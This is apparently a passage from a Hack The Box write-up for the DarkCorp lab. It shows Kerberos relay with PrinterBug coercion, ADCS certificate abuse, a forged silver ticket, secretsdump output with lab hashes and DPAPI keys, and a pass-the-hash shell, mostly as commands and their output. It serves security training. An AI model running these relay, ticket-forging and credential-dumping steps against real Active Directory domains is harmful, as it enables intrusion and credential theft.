/home/oxdf/.cache/uv/environments-v2/krbrelayx-c1c263a43b680290/lib/python3.12/site-packages/impacket/examples/ntlmrelayx/attacks/__init__.py:20: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server
[*] Servers started, waiting for connections
I’m giving it the ADCS HTTP web enrollment endpoint (see my VulnCicada post for more info). Now I’ll coerce that auth using printer bug (from krbrelayx):
oxdf@hacky$ proxychains uv run --script /opt/krbrelayx/printerbug.py 'darkcorp/victor.r':'victor1gustavo@#'@WEB-01.darkcorp.htb dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
/home/oxdf/.cache/uv/environments-v2/printerbug-b6cb5cd5ea4f68b8/lib/python3.11/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
[*] Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attempting to trigger authentication via rprn RPC at WEB-01.darkcorp.htb
[proxychains] Strict chain ... 127.0.0.1:1080 ... WEB-01.darkcorp.htb:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... WEB-01.darkcorp.htb:445 ... OK
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Triggered RPC backconnect, this may or may not have worked
When this runs, it triggers the machine account, WEB-01$, to authenticate to dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA, which is me. That reaches krbrelayx:
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.10.11.54
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc-01.darkcorp.htb:443 ... OK
[*] HTTP server returned status code 200, treating as a successful login
[*] SMBD: Received connection from 10.10.11.54
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 10.10.11.54
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 5
[*] Writing PKCS#12 certificate to ./WEB-01$.pfx
[*] Certificate successfully written to file
Auth
Certipy can auth with the resulting ticket to authenticate to WEB-01:
oxdf@hacky$ proxychains certipy auth -pfx 'WEB-01$.pfx' -domain darkcorp.htb -dc-ip 172.16.20.1
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN DNS Host Name: 'WEB-01.darkcorp.htb'
[*] Security Extension SID: 'S-1-5-21-3432610366-2163336488-3604236847-20601'
[*] Using principal: 'web-01$@darkcorp.htb'
[*] Trying to get TGT...
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:88 ... OK
[*] Got TGT
[*] Saving credential cache to 'web-01.ccache'
[*] Wrote credential cache to 'web-01.ccache'
[*] Trying to retrieve NT hash for 'web-01$'
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.20.1:88 ... OK
[*] Got hash for 'web-01$@darkcorp.htb': aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675
I’ll use the NTLM hash to get a ticket, but for that I need the domain SID. lookupsid.py will give that (and all the users):
oxdf@hacky$ proxychains lookupsid.py -hashes :8f33c7fc7ff515c1f358e488fbb8b675 'darkcorp.htb/WEB-01$@DC-01.darkcorp.htb'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at DC-01.darkcorp.htb
[*] StringBinding ncacn_np:DC-01.darkcorp.htb[\pipe\lsarpc]
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC-01.darkcorp.htb:445 ... OK
[*] Domain SID is: S-1-5-21-3432610366-2163336488-3604236847
498: darkcorp\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: darkcorp\Administrator (SidTypeUser)
501: darkcorp\Guest (SidTypeUser)
502: darkcorp\krbtgt (SidTypeUser)
512: darkcorp\Domain Admins (SidTypeGroup)
513: darkcorp\Domain Users (SidTypeGroup)
514: darkcorp\Domain Guests (SidTypeGroup)
515: darkcorp\Domain Computers (SidTypeGroup)
516: darkcorp\Domain Controllers (SidTypeGroup)
517: darkcorp\Cert Publishers (SidTypeAlias)
518: darkcorp\Schema Admins (SidTypeGroup)
519: darkcorp\Enterprise Admins (SidTypeGroup)
520: darkcorp\Group Policy Creator Owners (SidTypeGroup)
521: darkcorp\Read-only Domain Controllers (SidTypeGroup)
522: darkcorp\Cloneable Domain Controllers (SidTypeGroup)
525: darkcorp\Protected Users (SidTypeGroup)
526: darkcorp\Key Admins (SidTypeGroup)
527: darkcorp\Enterprise Key Admins (SidTypeGroup)
553: darkcorp\RAS and IAS Servers (SidTypeAlias)
571: darkcorp\Allowed RODC Password Replication Group (SidTypeAlias)
572: darkcorp\Denied RODC Password Replication Group (SidTypeAlias)
1000: darkcorp\DC-01$ (SidTypeUser)
1101: darkcorp\DnsAdmins (SidTypeAlias)
1102: darkcorp\DnsUpdateProxy (SidTypeGroup)
1103: darkcorp\victor.r (SidTypeUser)
1104: darkcorp\svc_acc (SidTypeUser)
1105: darkcorp\john.w (SidTypeUser)
1106: darkcorp\angela.w (SidTypeUser)
1107: darkcorp\angela.w.adm (SidTypeUser)
1108: darkcorp\taylor.b (SidTypeUser)
1109: darkcorp\linux_admins (SidTypeGroup)
1110: darkcorp\gpo_manager (SidTypeGroup)
1601: darkcorp\DRIP$ (SidTypeUser)
Now ticketer.py can make a ticket:
oxdf@hacky$ ticketer.py -nthash 8f33c7fc7ff515c1f358e488fbb8b675 -domain darkcorp.htb -domain-sid S-1-5-21-3432610366-2163336488-3604236847 -spn cifs/web-01.darkcorp.htb Administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for darkcorp.htb/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
That ticket can auth as the local administrator account to WEB-01:
oxdf@hacky$ KRB5CCNAME=Administrator.ccache proxychains netexec smb web-01.darkcorp.htb -k --use-kcache
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... web-01.darkcorp.htb:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... web-01.darkcorp.htb:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... web-01.darkcorp.htb:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... web-01.darkcorp.htb:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... web-01.darkcorp.htb:445 ... OK
SMB web-01.darkcorp.htb 445 WEB-01 Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... web-01.darkcorp.htb:445 ... OK
SMB web-01.darkcorp.htb 445 WEB-01 [+] DARKCORP.HTB\Administrator from ccache (Pwn3d!)
Administrator
Dump Local Hashes
Armed with a Kerberos ticket as the machine account, I’ll dump the local hashes to get more access to WEB-01:
oxdf@hacky$ KRB5CCNAME=Administrator.ccache proxychains secretsdump.py -k web-01.darkcorp.htb
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... web-01.darkcorp.htb:445 ... OK
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x4cf6d0e998d53752d088e233abb4bed6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:88d84ec08dad123eb04a060a74053f21:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
DARKCORP.HTB/svc_acc:$DCC2$10240#svc_acc#3a5485946a63220d3c4b118b36361dbb: (2025-10-15 00:46:21)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
darkcorp\WEB-01$:plain_password_hex:4100520044006c002600710072005a00640022007400230061003d004f00520063005e006b006e004f005d00270034004b0041003a003900390074006200320031006a0040005a004f004f005c004b003b00760075006600210063004f0075002f003c0072005d0043004c004a005800250075006c002d00440064005f006b00380038002c00270049002c0046004000680027003b004500200021003b0042004d005f0064003b0066002300700068005500440069002f0054002300320022005f004c0056004c003c0049006f002600480076002c005d00610034005500470077004a0076005f003400740054004800
darkcorp\WEB-01$:aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x1004cecdc9b33080d25a4a29126d4590eb555c5f
dpapi_userkey:0x7f3f9f871ea1dafaea01ae4ccf6e3f7ee535e472
[*] NL$KM
0000 DD C9 21 14 B9 23 69 1B D8 BE FD 57 6B 3C 3E E1 ..!..#i....Wk<>.
0010 9D 3D 3F 74 82 AF 75 33 FD 74 61 6E B7 24 55 AF .=?t..u3.tan.$U.
0020 6F 61 A0 BC 2B 2A 86 CF 6E EC E0 D3 37 98 FE E5 oa..+*..n...7...
0030 14 54 7D A9 A6 45 19 37 F1 20 24 4B 18 43 19 72 .T}..E.7. $K.C.r
NL$KM:ddc92114b923691bd8befd576b3c3ee19d3d3f7482af7533fd74616eb72455af6f61a0bc2b2a86cf6eece0d33798fee514547da9a6451937f120244b18431972
[*] Cleaning up...
[*] Stopping service RemoteRegistry
Shell
I’ll use that hash to get a shell on WEB-01:
oxdf@hacky$ proxychains evil-winrm-py -i web-01 -u administrator -H 88d84ec08dad123eb04a060a74053f21
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.4.1
[*] Connecting to 'web-01:5985' as 'administrator'
[proxychains] Strict chain ... 127.0.0.1:1080 ... web-01:5985 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... web-01:5985 ... OK
evil-winrm-py PS C:\Users\Administrator\Documents>
And grab user.txt:
evil-winrm-py PS C:\Users\Administrator\Desktop> cat user.txt
da2e66e0************************
Auth as john.w@darkcorp.htb
Enumeration
Home Directories
There are no other user home directories on this host:
evil-winrm-py PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/16/2025 10:47 AM .NET v4.5
d----- 1/16/2025 10:47 AM .NET v4.5 Classic
d----- 2/3/2025 1:21 PM Administrator
d-r--- 1/15/2025 4:11 PM Public
Besides user.txt, there’s an interesting .exe file and a cleanup.ps1 script in the Administrator’s directory:
evil-winrm-py PS C:\Users\Administrator> tree /f .
Folder PATH listing
Volume serial number is 00000201 E2B2:45D5
C:\USERS\ADMINISTRATOR
¦ HTB-Stability.exe
¦
+---3D Objects
+---Contacts
+---Desktop
¦ user.txt
¦
+---Documents
¦ +---cleanup
¦ ¦ cleanup.ps1
¦ ¦
¦ +---WindowsPowerShell
¦ +---Scripts
¦ +---InstalledScriptInfos
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
+---Searches
+---Videos
All the PowerShell does it restart the w3svc service if it isn’t running:
$service = Get-Service -Name "w3svc"
if ($service.Status -ne "Running") {
Restart-Service -Name "w3svc"
}
The binary says it’s not a part of the path:
evil-winrm-py PS C:\Users\Administrator> .\HTB-Stability.exe
ATTN: This is not part of the path and only serves as a stability purpose
Reversing this binary could be an interesting exercise, but I didn’t have time to do it as a Beyond Root section.
Scheduled Tasks
The existence of this script suggest that it runs as a scheduled task. I’ll get Claude to make me a PowerShell line to dump scheduled tasks, and find that both the script and the executable are running with tasks:
evil-winrm-py PS C:\> Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} | Select-Object TaskName, @{Name="User";Expression={$_.Principal.UserId}}, @{Name="Command";Expr
ession={($_.Actions.Execute + " " + $_.Actions.Arguments).Trim()}} | Format-Table -AutoSize
TaskName User Command
-------- ---- -------
CleanupScript Administrator powershell.exe -File "C:\Users\Administrator\Docume...
HTB-Stability SYSTEM C:\Users\Administrator\HTB-Stability.exe restore
.NET Framework NGEN v4.0.30319 SYSTEM
.NET Framework NGEN v4.0.30319 64 SYSTEM
AD RMS Rights Policy Template Management (Manual)
EDP Policy Manager LOCAL SERVICE
SystemTask SYSTEM
UserTask
UserTask-Roam
ProactiveScan SYSTEM
SyspartRepair SYSTEM %windir%\system32\bcdboot.exe %windir% /sysrepair
Consolidator SYSTEM %SystemRoot%\System32\wsqmcons.exe
Data Integrity Check And Scan SYSTEM
Data Integrity Scan SYSTEM
Data Integrity Scan for Crash Recovery SYSTEM
ScheduledDefrag SYSTEM %windir%\system32\defrag.exe -c -h -k -g -$
Device SYSTEM %windir%\system32\devicecensus.exe SystemCxt
Device User %windir%\system32\devicecensus.exe UserCxt
MDMMaintenenceTask SYSTEM %windir%\system32\MDMAgent.exe
ExploitGuard MDM policy Refresh SYSTEM
ReconcileFeatures SYSTEM
UsageDataFlushing SYSTEM
UsageDataReporting SYSTEM
RefreshCache SYSTEM
LPRemove SYSTEM %windir%\system32\lpremove.exe
GatherNetworkInfo %windir%\system32\gatherNetworkInfo.vbs
Secure-Boot-Update SYSTEM
Sqm-Tasks SYSTEM
Device Install Group Policy SYSTEM
Device Install Reboot Required
Sysprep Generalize Drivers SYSTEM %SystemRoot%\System32\drvinst.exe 6
RegIdleBackup SYSTEM
CleanupOldPerfLogs SYSTEM %systemroot%\system32\cscript.exe /B /nologo %syste...
StartComponentCleanup SYSTEM
CreateObjectTask SYSTEM
UpdateUserPictureTask
Configuration SYSTEM %systemroot%\system32\cmd.exe /d /c %systemroot%\sy...
SvcRestartTask NETWORK SERVICE
SpaceAgentTask SYSTEM %windir%\system32\SpaceAgent.exe
SpaceManagerTask SYSTEM %windir%\system32\spaceman.exe /Work
MaintenanceTasks SYSTEM %windir%\system32\rundll32.exe %windir%\system32\Wi...
Storage Tiers Management Initialization SYSTEM
MsCtfMonitor
SynchronizeTime LOCAL SERVICE %windir%\system32\sc.exe start w32time task_started
SynchronizeTimeZone SYSTEM %windir%\system32\tzsync.exe
Tpm-HASCertRetr SYSTEM
Tpm-Maintenance SYSTEM
Report policies SYSTEM %systemroot%\system32\usoclient.exe ReportPolicies
Schedule Scan SYSTEM %systemroot%\system32\usoclient.exe StartScan
Schedule Scan Static Task SYSTEM %systemroot%\system32\usoclient.exe StartScan
USO_UxBroker SYSTEM %systemroot%\system32\MusNotification.exe
UUS Failover Task SYSTEM %systemroot%\system32\failover.exe
ResolutionHost
Windows Defender Cache Maintenance SYSTEM C:\ProgramData\Microsoft\Windows Defender\Platform\...
Windows Defender Cleanup SYSTEM C:\ProgramData\Microsoft\Windows Defender\Platform\...
Windows Defender Scheduled Scan SYSTEM C:\ProgramData\Microsoft\Windows Defender\Platform\...
Windows Defender Verification SYSTEM C:\ProgramData\Microsoft\Windows Defender\Platform\...
QueueReporting SYSTEM %windir%\system32\wermgr.exe -upload
BfeOnServiceStartTypeChange SYSTEM %windir%\system32\rundll32.exe bfe.dll,BfeOnService...
Refresh Group Policy Cache SYSTEM
Scheduled Start SYSTEM C:\Windows\system32\sc.exe start wuauserv
CacheTask
The top line shows the PowerShell script running as administrator. The second line is running the HTB-Stability.exe binary.
The “CleanupScript” task is set to run every two minutes according to it’s description:
evil-winrm-py PS C:\> Get-ScheduledTask -TaskName "CleanupScript" | Format-List *
State : Ready
Actions : {MSFT_TaskExecAction}
Author : darkcorp\Administrator
Date : 2025-01-20T14:01:13.0140782
Description : Cleanup every 2 mins
Documentation :
Principal : MSFT_TaskPrincipal2
SecurityDescriptor :
Settings : MSFT_TaskSettings3
Source :
TaskName : CleanupScript
TaskPath : \
Triggers : {MSFT_TaskDailyTrigger}
URI : \CleanupScript
Version :
PSComputerName :
CimClass : Root/Microsoft/Windows/TaskScheduler:MSFT_ScheduledTask
CimInstanceProperties : {Actions, Author, Date, Description...}
CimSystemProperties : Microsoft.Management.Infrastructure.CimSystemProperties
Digging a bit deeper to confirm this:
evil-winrm-py PS C:\> $task = Get-ScheduledTask -TaskName "CleanupScript"
evil-winrm-py PS C:\> $task.Triggers | Format-List *
Enabled : True
EndBoundary :
ExecutionTimeLimit : PT5M
Id :
Repetition : MSFT_TaskRepetitionPattern
StartBoundary : 2025-01-20T14:00:09
DaysInterval : 1
RandomDelay :
PSComputerName :
CimClass : Root/Microsoft/Windows/TaskScheduler:MSFT_TaskDailyTrigger
CimInstanceProperties : {Enabled, EndBoundary, ExecutionTimeLimit, Id...}
CimSystemProperties : Microsoft.Management.Infrastructure.CimSystemProperties
evil-winrm-py PS C:\> $task.Triggers.Repetition | Format-List *
Duration :
Interval : PT2M
StopAtDurationEnd : False
PSComputerName :
CimClass : Root/Microsoft/Windows/TaskScheduler:MSFT_TaskRepetitionPattern
CimInstanceProperties : {Duration, Interval, StopAtDurationEnd}
CimSystemProperties : Microsoft.Management.Infrastructure.CimSystemProperties
The Interval of PT2M says it will run every two minutes.
Modules
Looking at the installed modules, the first line is CredentialManager:
evil-winrm-py PS C:\> Get-Module -ListAvailable
Directory: C:\Program Files\WindowsPowerShell\Modules
ModuleType Version Name ExportedCommands
---------- ------- ---- ----------------
Binary 2.0 CredentialManager {Get-StoredCredential, New-StoredCredential, Remove-StoredC...
Script 1.0.1 Microsoft.PowerShell.Operation.V... {Get-OperationValidation, Invoke-OperationValidation}
Binary 1.0.0.1 PackageManagement {Find-Package, Get-Package, Get-PackageProvider, Get-Packag...
Script 3.4.0 Pester {Describe, Context, It, Should...}
Script 1.0.0.1 PowerShellGet {Install-Module, Find-Module, Save-Module, Update-Module...}
Script 2.0.0 PSReadline {Get-PSReadLineKeyHandler, Set-PSReadLineKeyHandler, Remove...
Directory: C:\Windows\system32\WindowsPowerShell\v1.0\Modules
ModuleType Version Name ExportedCommands
---------- ------- ---- ----------------
Manifest 2.0.0.0 AppLocker {Get-AppLockerFileInformation, Get-AppLockerPolicy, New-App...
Manifest 2.0.1.0 Appx {Add-AppxPackage, Get-AppxPackage, Get-AppxPackageManifest,...
Manifest 1.0 BestPractices {Get-BpaModel, Get-BpaResult, Invoke-BpaModel, Set-BpaResult}
Manifest 2.0.0.0 BitsTransfer {Add-BitsFile, Complete-BitsTransfer, Get-BitsTransfer, Rem...
Manifest 1.0.0.0 BranchCache {Add-BCDataCacheExtension, Clear-BCCache, Disable-BC, Disab...
Manifest 1.0.0.0 CimCmdlets {Get-CimAssociatedInstance, Get-CimClass, Get-CimInstance, ...
Manifest 1.0 ConfigCI {Get-SystemDriver, New-CIPolicyRule, New-CIPolicy, Get-CIPo...
Manifest 1.0 ConfigDefender {Get-MpPreference, Set-MpPreference, Add-MpPreference, Remo...
Manifest 1.0 ConfigDefenderPerformance {New-MpPerformanceRecording, Get-MpPerformanceReport}
Manifest 1.0 Defender {Get-MpPreference, Set-MpPreference, Add-MpPreference, Remo...
Manifest 1.0.3.0 DeliveryOptimization {Get-DeliveryOptimizationLog, Get-DeliveryOptimizationLogAn...
Manifest 1.0.0.0 DirectAccessClientComponents {Disable-DAManualEntryPointSelection, Enable-DAManualEntryP...
Script 3.0 Dism {Add-AppxProvisionedPackage, Add-WindowsDriver, Add-Windows...
Manifest 1.0.0.0 DnsClient {Resolve-DnsName, Clear-DnsClientCache, Get-DnsClient, Get-...
Manifest 1.0.0.0 EventTracingManagement {Start-EtwTraceSession, New-EtwTraceSession, Get-EtwTraceSe...
Script 2020.6.... Get-NetView Get-NetView
Script 1.1.0.0 IISAdministration {Get-IISAppPool, Start-IISCommitDelay, Stop-IISCommitDelay,...
Manifest 2.0.0.0 International {Get-WinDefaultInputMethodOverride, Set-WinDefaultInputMeth...
Manifest 1.0.0.0 iSCSI {Get-IscsiTargetPortal, New-IscsiTargetPortal, Remove-Iscsi...
Manifest 2.0.0.0 IscsiTarget {Add-ClusteriSCSITargetServerRole, Add-IscsiVirtualDiskTarg...
Manifest 1.0.0.0 Kds {Add-KdsRootKey, Get-KdsRootKey, Test-KdsRootKey, Set-KdsCo...
Script 1.0.0.0 LAPS {Find-LapsADExtendedRights, Get-LapsADPassword, Invoke-Laps...
Manifest 1.0.1.0 Microsoft.PowerShell.Archive {Compress-Archive, Expand-Archive}
Manifest 3.0.0.0 Microsoft.PowerShell.Diagnostics {Get-WinEvent, Get-Counter, Import-Counter, Export-Counter...}
Manifest 3.0.0.0 Microsoft.PowerShell.Host {Start-Transcript, Stop-Transcript}
Manifest 1.0.0.0 Microsoft.PowerShell.LocalAccounts {Add-LocalGroupMember, Disable-LocalUser, Enable-LocalUser,...
Manifest 3.1.0.0 Microsoft.PowerShell.Management {Add-Content, Clear-Content, Clear-ItemProperty, Join-Path...}
Script 1.0 Microsoft.PowerShell.ODataUtils Export-ODataEndpointProxy
Manifest 3.0.0.0 Microsoft.PowerShell.Security {Get-Acl, Set-Acl, Get-PfxCertificate, Get-Credential...}
Manifest 3.1.0.0 Microsoft.PowerShell.Utility {Format-List, Format-Custom, Format-Table, Format-Wide...}
Script 2.0.0.0 Microsoft.ServerCore.SConfig {Invoke-SConfig, Invoke-SConfigLogon, Get-SConfig, Set-SCon...
Manifest 3.0.0.0 Microsoft.WSMan.Management {Disable-WSManCredSSP, Enable-WSManCredSSP, Get-WSManCredSS...
Manifest 1.0 MMAgent {Disable-MMAgent, Enable-MMAgent, Set-MMAgent, Get-MMAgent...}
Manifest 1.0.0.0 MsDtc {New-DtcDiagnosticTransaction, Complete-DtcDiagnosticTransa...
Manifest 2.0.0.0 NetAdapter {Disable-NetAdapter, Disable-NetAdapterBinding, Disable-Net...
Manifest 1.0.0.0 NetConnection {Get-NetConnectionProfile, Set-NetConnectionProfile}
Manifest 1.0.0.0 NetEventPacketCapture {New-NetEventSession, Remove-NetEventSession, Get-NetEventS...
Manifest 2.0.0.0 NetLbfo {Add-NetLbfoTeamMember, Add-NetLbfoTeamNic, Get-NetLbfoTeam...
Manifest 1.0.0.0 NetNat {Get-NetNat, Get-NetNatExternalAddress, Get-NetNatStaticMap...
Manifest 2.0.0.0 NetQos {Get-NetQosPolicy, Set-NetQosPolicy, Remove-NetQosPolicy, N...
Manifest 2.0.0.0 NetSecurity {Get-DAPolicyChange, New-NetIPsecAuthProposal, New-NetIPsec...
Manifest 1.0.0.0 NetSwitchTeam {New-NetSwitchTeam, Remove-NetSwitchTeam, Get-NetSwitchTeam...
Manifest 1.0.0.0 NetTCPIP {Get-NetIPAddress, Get-NetIPInterface, Get-NetIPv4Protocol,...
Manifest 1.0.0.0 NetworkConnectivityStatus {Get-DAConnectionStatus, Get-NCSIPolicyConfiguration, Reset...
Manifest 1.0.0.0 NetworkTransition {Add-NetIPHttpsCertBinding, Disable-NetDnsTransitionConfigu...
Manifest 1.0 NFS {Get-NfsMappedIdentity, Get-NfsNetgroup, Install-NfsMapping...
Manifest 1.0.0.0 PcsvDevice {Get-PcsvDevice, Start-PcsvDevice, Stop-PcsvDevice, Restart...
Binary 1.0.0.0 PersistentMemory {Get-PmemDisk, Get-PmemPhysicalDevice, Get-PmemUnusedRegion...
Manifest 1.0.0.0 PKI {Add-CertificateEnrollmentPolicyServer, Export-Certificate,...
Manifest 1.0.0.0 PlatformIdentifier Get-PlatformIdentifier
Manifest 1.0.0.0 PnpDevice {Get-PnpDevice, Get-PnpDeviceProperty, Enable-PnpDevice, Di...
Manifest 1.1 PrintManagement {Add-Printer, Add-PrinterDriver, Add-PrinterPort, Get-Print...
Binary 1.0.12 ProcessMitigations {Get-ProcessMitigation, Set-ProcessMitigation, ConvertTo-Pr...
Manifest 1.1 PSDesiredStateConfiguration {Set-DscLocalConfigurationManager, Start-DscConfiguration, ...
Script 1.0.0.0 PSDiagnostics {Disable-PSTrace, Disable-PSWSManCombinedTrace, Disable-WSM...
Binary 1.1.0.0 PSScheduledJob {New-JobTrigger, Add-JobTrigger, Remove-JobTrigger, Get-Job...
Manifest 2.0.0.0 PSWorkflow {New-PSWorkflowExecutionOption, New-PSWorkflowSession, nwsn}
Manifest 1.0.0.0 PSWorkflowUtility Invoke-AsWorkflow
Manifest 2.0.0.0 RemoteDesktop {Get-RDCertificate, Set-RDCertificate, New-RDCertificate, N...
Manifest 1.0.0.0 ScheduledTasks {Get-ScheduledTask, Set-ScheduledTask, Register-ScheduledTa...
Manifest 2.0.0.0 SecureBoot {Confirm-SecureBootUEFI, Set-SecureBootUEFI, Get-SecureBoot...
Manifest 1.0.0.0 SecurityCmdlets {Backup-SecurityPolicy, Restore-SecurityPolicy, Backup-Audi...
Script 1.0.0.0 ServerCore {Get-DisplayResolution, Set-DisplayResolution}
Script 2.0.0.0 ServerManager {Get-WindowsFeature, Install-WindowsFeature, Uninstall-Wind...
Cim 1.0.0.0 ServerManagerTasks {Get-SMCounterSample, Get-SMPerformanceCollector, Start-SMP...
Manifest 2.0.0.0 SmbShare {Get-SmbShare, Remove-SmbShare, Set-SmbShare, Block-SmbShar...
Manifest 2.0.0.0 SmbWitness {Get-SmbWitnessClient, Move-SmbWitnessClient, gsmbw, msmbw...}
Manifest 2.0.0.0 SoftwareInventoryLogging {Get-SilComputer, Get-SilComputerIdentity, Get-SilSoftware,...
Manifest 2.0.0.0 Storage {Add-InitiatorIdToMaskingSet, Add-PartitionAccessPath, Add-...
Manifest 1.0.0.0 StorageBusCache {Clear-StorageBusDisk, Disable-StorageBusCache, Disable-Sto...
Manifest 2.0.0.0 TLS {New-TlsSessionTicketKey, Enable-TlsSessionTicketKey, Disab...
Manifest 2.0.0.0 TrustedPlatformModule {Get-Tpm, Initialize-Tpm, Clear-Tpm, Unblock-Tpm...}
Manifest 1.0.0.0 UserAccessLogging {Enable-Ual, Disable-Ual, Get-Ual, Get-UalDns...}
Script 1.0.0.0 VMDirectStorage {Get-VMDirectVirtualDisk, Add-VMDirectVirtualDisk, Remove-V...
Manifest 2.0.0.0 VpnClient {Add-VpnConnection, Set-VpnConnection, Remove-VpnConnection...
Manifest 1.0.0.0 Wdac {Get-OdbcDriver, Set-OdbcDriver, Get-OdbcDsn, Add-OdbcDsn...}
Manifest 1.0.0.0 WebAdministration {Start-WebCommitDelay, Stop-WebCommitDelay, Get-WebConfigur...
Manifest 2.0.0.0 Whea {Get-WheaMemoryPolicy, Set-WheaMemoryPolicy}
Script 1.0 WindowsErrorReporting {Enable-WindowsErrorReporting, Disable-WindowsErrorReportin...
Manifest 1.0.0.0 WindowsUpdate Get-WindowsUpdateLog
Script 1.0.0.0 WinHttpProxy {Get-WinhttpProxy, Export-WinhttpProxy, Reset-WinhttpProxy,...
Because there is a scheduled task running as the local Administrator user, that accounts creds must be saved along with it. If this were a domain account I was interested in, as local admin, I could run scheduled tasks as this user, but that doesn’t get me much here.
DPAPI Keys
The CredentialManager module provides access to saved credentials in the Windows Credential Vault using DPAPI. The Get-StoredCredential commandlet will return credential objects, but it doesn’t work with the session I have here:
evil-winrm-py PS C:\> Get-StoredCredential
CredEnumerate failed with the error code 1312.
There are no credentials stored in the Administrator’s home directory, but there is a DPAPI key:
evil-winrm-py PS C:\Users\Administrator\AppData\Roaming\Microsoft> ls -force Credentials
evil-winrm-py PS C:\Users\Administrator\AppData\Roaming\Microsoft> ls -force Protect
Directory: C:\Users\Administrator\AppData\Roaming\Microsoft\Protect
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 1/15/2025 4:11 PM S-1-5-21-2988385993-1727309239-2541228647-500
-a-hs- 1/15/2025 4:11 PM 168 CREDHIST
-a-hs- 1/15/2025 4:11 PM 76 SYNCHIST
CREDHIST stores the users old passwords. The SID is the directory with the keys. There are three:
